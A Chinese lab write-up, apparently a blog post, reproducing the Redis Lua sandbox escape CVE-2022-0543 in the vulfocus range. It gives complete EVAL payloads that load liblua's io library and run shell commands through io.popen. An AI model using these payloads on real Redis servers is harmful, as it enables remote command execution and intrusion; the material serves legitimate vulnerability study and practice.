vulfocus靶场之redis命令执行cve-2022-0543漏洞复现

漏洞:

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

1.工具方式: 使用Another Redis Desktop Manager

地址:AnotherRedisDesktopManager 发行版 - Gitee.com

输入网址和端口,点击OK

显示连接成功

输入攻击代码 payload即可:

查看当前id ,需要更改的地方红色字体:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

查看ls /tmp

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0

拿到flag:

相关推荐
kali-Myon4 小时前
NewStarCTF2025-Week1-Misc
安全·ctf·misc
数字供应链安全产品选型9 小时前
国家级!悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
鹿鸣天涯13 小时前
商用密码应用安全性评估
网络·安全·web安全
骥龙14 小时前
2.5、物联网设备的“免疫系统”:深入解析安全启动与可信执行环境
物联网·安全
jieyu111915 小时前
xxe靶场通关
安全·web安全
捷智算云服务16 小时前
H20裸金属租赁:捷智算安全隔离,独立配置保障数据安全
安全
L475416 小时前
SSL/TLS证书:保障网站安全的关键
网络协议·安全·ssl·tls
福澤満満21 小时前
网络安全HTML之旅-标签的基本使用
安全
欢璃21 小时前
修电脑日志--电脑开机黑屏只有光标闪
windows·安全·电脑·安全架构
AIwenIPgeolocation1 天前
数据流通合规新基建 隐私计算平台的三重安全防线
安全